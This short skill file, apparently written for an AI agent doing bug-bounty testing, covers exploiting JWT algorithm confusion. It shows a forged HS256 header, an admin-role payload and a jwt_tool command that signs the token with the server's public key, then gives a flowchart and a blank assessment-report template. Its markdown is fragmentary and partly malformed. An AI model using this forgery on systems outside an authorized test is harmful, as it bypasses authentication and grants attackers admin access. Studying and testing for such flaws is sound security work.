Identify and exploit Algorithm Confusion vulnerabilities in JSON Web Tokens (JWT). This skill details how to bypass signature verification by changing the signing algorithm from asymmetric (RS256) to symmetric (HS256) and using the public key as the symmetric secret.
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# Concept: JWT Algorithm Confusion ```
### Phase 2: Intercepting and Modifying the JWT Header
```json
// {
"alg": "HS256",
"typ": "JWT"
}
// {
"user": "attacker",
"role": "admin",
"iat": 1716260400
}
# jwt_tool.py [ENCODED_HEADER].[ENCODED_PAYLOAD] -S hs256 -k public_key.pem
flowchart TD
A[Forge JWT ] --> B{Server Accepts? ]}
B -->|Yes| C[Exploit API ]
B -->|No| D[Check None Alg ]
C --> E[Document Flaw ]
Jwt Algorithm Confusion — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
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